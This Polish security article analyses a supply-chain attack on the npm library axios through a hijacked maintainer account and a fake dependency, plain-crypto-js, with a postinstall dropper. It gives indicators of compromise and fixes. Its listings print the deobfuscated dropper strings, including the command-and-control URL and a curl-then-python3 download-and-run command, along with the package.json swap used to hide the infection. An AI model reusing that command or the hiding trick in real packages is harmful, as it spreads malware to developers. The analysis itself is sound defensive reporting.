Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!
Adminie… Czy znamy Twoje grzechy? ;-) Sprawdź!
Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!
Adminie… Czy znamy Twoje grzechy? ;-) Sprawdź!
Ataki na łańcuch dostaw stały się codziennością krajobrazu rozwoju oprogramowania. Ostatnie incydenty takie jak atak na LiteLLM czy GlassWorm dobitnie potwierdzają tezę, że cykle wydawania oprogramowania potrafią być permanentnie zepsute. Sytuacji nie poprawia na razie fakt błyskawicznej adopcji generatywnej sztucznej inteligencji, w postaci dużych modeli językowych (ang. LLM), do tworzenia kodu. Inżynierowie oprogramowania, aby sprostać wymaganiom biznesu i przyspieszyć wydanie kolejnych funkcjonalności, mogą nawet nie być świadomi jaki kod i zależności są umieszczane w produkcie (dodanie kolejnych systemów agentowych może nie rozwiązać problemu, natomiast na pewno rozwiąże problem płynności finansowej dostawców tych modeli), czy nawet uruchamiane lokalnie na “ich maszynie”.
TLDR:
Atak dotyczył biblioteki axios w wersjach 1.14.1 oraz 0.30.4.
Zanim przejdziemy do opisu tego incydentu, zalecamy zapoznanie się z metodami sprawdzenia, czy nie padliście ofiarą ataku – należy podkreślić, że malware dokonuje próby ukrycia poprzez usunięcie droppera oraz zmianę pliku package.json, dlatego należy skupić się na wskaźnikach IoC (ang. Identificators of Compromise) dotykających przede wszystkim instalowanych zależności, ruchu sieciowego oraz właściwych źródeł malware ukrytych w postaci plików:
Atakujący przygotowali złośliwą paczkę plain-crypto-js@4.2.1, która została umieszczona w rejestrze NPM na 18 godzin przed atakiem. Biblioteka została opublikowana dnia 30.03.2026 przez konto o nazwie nrwise (nrwise@proton[.]me). Pierwsze wydanie 4.2.0 było próbą utrudnienia późniejszej analizy i zmylenia obrońców, ponieważ nie zawierało złośliwych elementów. Paczka została “uzbrojona” dopiero przy wydaniu 4.2.1, która została opublikowana dokładnie o 23:59, dnia 30 marca. Różnica w czasie, pomiędzy publikacją backdoora, a wdrożeniem jej do jednego z najpopularniejszych JS’owych pakietów, wynikała z próby ominięcia skanerów bezpieczeństwa, które sprawdzają m.in. wiek zależności.
Sam kod nie zawierał złośliwej logiki, a zależność nie była wykorzystywana nigdzie w kodzie Axiosa. Atakujący przygotowali fałszywą bibliotekę w celu wykorzystania hooków, które miały się wykonać po jej instalacji (postinstall scripts). Wywoływane polecenie node setup[.]js uruchamiało zaciemniony kod, którego celem było nawiązanie połączenia z infrastrukturą atakujących i pobranie właściwej części malware. Dropper po zakończeniu wykonania był usuwany z systemu plików, a zawartość package.json paczki – podmieniana. To powoduje, że developer świadomy zagrożenia, przeglądając katalog node_modules nie znajdzie typowych artefaktów świadczących o przejęciu systemu.
Dodanie backdoora do biblioteki Axios zostało przeprowadzone poprzez modyfikację listy zależności – to wystarczyło, aby malware znalazło się w systemie. Atakujący wykorzystali kilkustopniowy payload, składający się między innymi z droppera (w opisywanym skrypcie postinstall) oraz głównego trojana (remote access trojan, RAT).
Dlaczego kod trafił do rejestru npm? Atakującym udało się przejąć konto opiekuna projektu (jasonsaayman). Adres email skojarzony z tym użytkownikiem został podmieniony na inną skrzynkę w domenie ProtonMaila (ifstap@proton[.]me). Wydania axiosa są przygotowywane przez potok CI/CD platformy GitHub (tzw. GitHub Actions) i umieszczane w rejestrze przy pomocy OIDC Trusted Publisher. OIDC TP wykorzystuje standard OpenID Connect do uwierzytelnienia, co pozwala wyeliminować długo żyjące tokeny npm. Tym razem jednak atakujący dysponowali “tylko” przejętym kontem programisty, dlatego złośliwa zmiana została wprowadzona jako wydanie bezpośrednio na platformie NPM z wykorzystaniem klasycznego tokenu. W opracowaniu StepSecurity, pojawia się informacja o tzw. tokenach “long-lived”, co należy raczej rozumieć jako GAT (granular access tokens – tokeny z określonym zakresem uprawnień). Klasyczne tokeny, niepowiązane z uprawnieniami oraz pozwalające na użycie powyżej 90 dni zostały z npm usunięte na początku listopada ubiegłego roku, a wszystkie aktywne klasyczne tokeny, zostały unieważnione na początku grudnia. Dysponując jednak pełnym dostępem do konta jasonsaayman, atakujący mogli wygenerować potrzebne GAT, jak i wprowadzić inne zmiany na koncie. Zastanawiający jest jednak wektor ataku na konto Jasona. Nie ma też odpowiedzi na pytanie, czy zaatakowane konto miało skonfigurowane dwuskładnikowe uwierzytelnianie.
| // axios@1.14.0 — LEGITIMATE “_npmUser”: { “name”: “GitHub Actions”, “email”: “npm-oidc-no-reply@github.com”, “trustedPublisher”: { “id”: “github”, “oidcConfigId”: “oidc:9061ef30-3132-49f4-b28c-9338d192a1a9” } } // axios@1.14.1 — MALICIOUS “_npmUser”: { “name”: “jasonsaayman”, “email”: “ifstap@proton.me” // no trustedPublisher, no gitHead, no corresponding GitHub commit or tag } |
Listing 1. Metadane paczki w rejestrze npm. (źródło: StepSecurity)
Złośliwy dropper ukryty w paczce plain-crypto-js@4.2.1 to bezpośrednie nawiązanie do innego modułu – crypto-js, którego obecna wersja to właśnie 4.2.0. Pomijając wstawki atakujących, kod źródłowy jest identyczny względem pierwowzoru, co ma za zadanie uśpić czujność.
Przestępcy zastosowali ciekawą sztuczkę, służącą do ukrycia faktu instalacji podatnej wersji. W plikach źródłowych, oprócz całej zawartości crypto-js, package.json (z dyrektywą postinstall), znajdował się również plik w formacie Markdown – package[.]md. Po uruchomieniu setup[.]js, jego rozszerzenie zostało zmienione na json, tym samym raportując wersję sprzed złośliwej edycji (czyli 4.2.0).
| // Contents of package.md (the clean replacement stub) { “name”: “plain-crypto-js”, “version”: “4.2.0”, // ← reports 4.2.0, not 4.2.1 — deliberate mismatch “description”: “JavaScript library of crypto standards.”, “license”: “MIT”, “author”: { “name”: “Evan Vosberg”, “url”: “http://github.com/evanvosberg” }, “homepage”: “http://github.com/brix/crypto-js”, “repository”: { “type”: “git”, “url”: “http://github.com/brix/crypto-js.git” }, “main”: “index.js”, // No “scripts” key — no postinstall, no test “dependencies”: {} } |
Listing 2. Zawartość pliku package.md (źródło: StepSecurity)
Dzięki temu uruchomienie polecenia npm list w katalogu projektu, zwróci wersję 4.2.0 (sprzed infekcji).
Istnienie katalogu node_modules/plain-crypto-js jednoznacznie wskazuje (jest IoC) na pobranie i uruchomienie złośliwej paczki.
Różnica pomiędzy bezpiecznym wydaniem axios@1.14.0 a tym zmodyfikowanym przez atakujących to dokładnie jedna linia w pliku package.json (listing 3).
| # — axios/package.json (1.14.0)# +++ axios/package.json (1.14.1)- “version”: “1.14.0”,+ “version”: # — axios/package.json (1.14.0) # +++ axios/package.json (1.14.1) – “version”: “1.14.0”, + “version”: “1.14.1”, “scripts”: { “fix”: “eslint –fix lib/**/*.js”, – “prepare”: “husky” }, “dependencies”: { “follow-redirects”: “^2.1.0”, “form-data”: “^4.0.1”, “proxy-from-env”: “^2.1.0”, + “plain-crypto-js”: “^4.2.1” } |
Listing 3. diff pokazujący dodanie złośliwej paczki do wydania axios@1.14.1 (źródło: )
Jak zostało wspomniane wyżej, nie tylko najnowsza wersja uległa zmianie. Atakujący wydali też aktualizację dla wersji legacy i oznaczyli ją jako axios@0.30.4. Sposób infekcji jest identyczny.
Analiza zaciemnionego pliku setup.js , którego zadaniem jest pobranie narzędzia do zdalnego dostępu, wskazała na dbałość o szczegóły. Dropper wspiera trzy systemy operacyjne (Windows, GNU/Linux, MacOS). Wszystkie wrażliwe i potencjalnie charakterystyczne dane takie jak np. adresy C2 (http[:]//sfrclak[.]com:8000/6202033) zostały zaciemnione przy pomocy “szyfrowania” XOR ze stałym kluczem.
| stq[0] → “child_process” // shell execution stq[1] → “os” // platform detection stq[2] → “fs” // filesystem operations stq[3] → “http://sfrclak.com:8000/” // C2 base URL stq[5] → “win32” // Windows platform identifier stq[6] → “darwin” // macOS platform identifier stq[12] → “curl -o /tmp/ld.py -d packages.npm.org/product2 -s SCR_LINK && nohup python3 /tmp/ld.py SCR_LINK > /dev/null 2>&1 &” stq[13] → “package.json” // deleted after execution stq[14] → “package.md” // clean stub renamed to package.json stq[15] → “.exe” stq[16] → “.ps1” stq[17] → “.vbs” |
Listing 4. Zdeobfuskowana tablica zawierająca wrażliwe dane w payloadzie. Obfuskacja utrudnia analizę malware, chociaż w tym przypadku zastosowano bardzo prymitywne metody, pozwalające na obejście najprostszych statycznych analizatorów. (źródło: StepSecurity)
StepSecurity zbudowało bardzo przejrzysty graf przepływu infekcji, który obrazuje w jaki sposób RAT trafiał do systemu hosta.

Badacze wskazują również na to, że atakujący przemyśleli kwestię czasu wykonania skryptu oraz zwróconych błędów. Cała logika droppera została umieszczona w bloku try/catch w celu ukrycia błędów. Malware uruchamia procesy instalacyjne w tle, co powoduje, że czas wykonania całego skryptu jest błyskawiczny.
W zależności od wykrytego systemu operacyjnego, setup[.]js pobiera różne stagery.
Dla platformy:
Co ciekawe logika wyboru systemu operacyjnego pozwala również na infekcję innych systemów uniksopodobnych. Jeśli platforma, na której uruchomiony zostaje dropper, nie zostanie dopasowana do macOS/Windows, to domyślnie potok wykonania przechodzi do trybu Linux. Badacze wskazują, że pozwala to na infekcję systemów takich jak BSD czy Android.
Należy założyć, że przejęty został każdy system, który w czasie dostępności podatnych paczek instalował axiosa. Badacze opublikowali zestaw komend, pozwalających na określenie, czy dany host jest zainfekowany. W przypadku podejrzenia uruchomienia RATa, należy traktować system jako w pełni przejęty i tym samym, zalecanym działaniem naprawczym jest całkowita reinstalacja oraz rotacja wszelkich poświadczeń (hasła, tokeny, klucze, etc.)..
Oprócz przywrócenia projektów (i przypięcia) wersji axiosa do wydań różnych od 1.14.1 oraz 0.30.4, zaleca się dodanie poniższego wpisu do package.json. Zablokuje on menadżerowi pakietów możliwość instalacji podatnych paczek będących nawet niżej w drzewie.
| { “dependencies”: { “axios”: “1.14.0” }, “overrides”: { “axios”: “1.14.0” }, “resolutions”: { “axios”: “1.14.0” } } |
Listing 5. Dyrektywy wymuszające konkretną wersję axiosa (źródło: StepSecurity)
Atak na bibliotekę axios został przypisany przez Google Threat Intelligence Group koreańskiej grupie śledzonej jako UNC1069. Nazwa rozprzestrzeniania backdoora to WAVESHAPER.V2.
Jako ciekawostkę można dodać fakt, że w internecie parę godzin po opublikowaniu informacji o tym ataku, okazało się, że doszło do wycieku kodu źródłowego Claude Code. Jedną z zależności tego projektu jest właśnie axios. Przypadek? Zapewne, bo powodem udostępnienia kodu w rejestrze npm był dostępny plik .map. Chociaż zachodzi tutaj ciekawa zależność czasowa.
Atak na łańcuch dostaw w axios pokazuje, że tak naprawdę dziś niewiele trzeba, żeby zainfekować tysiące środowisk. Wystarczyła jedna dopisana zależność w package.json. Ten rodzaj zagrożeń jest jednym z największych wyzwań dla programistów i bezpieczników. Patrząc na ostatnie kampanie, takie jak te związane z Trivy, LiteLLM czy GlassWorm oraz Sha1-Hulud jesteśmy pewni, że to nie koniec problemów…
Źródła:
~Black Hat Logan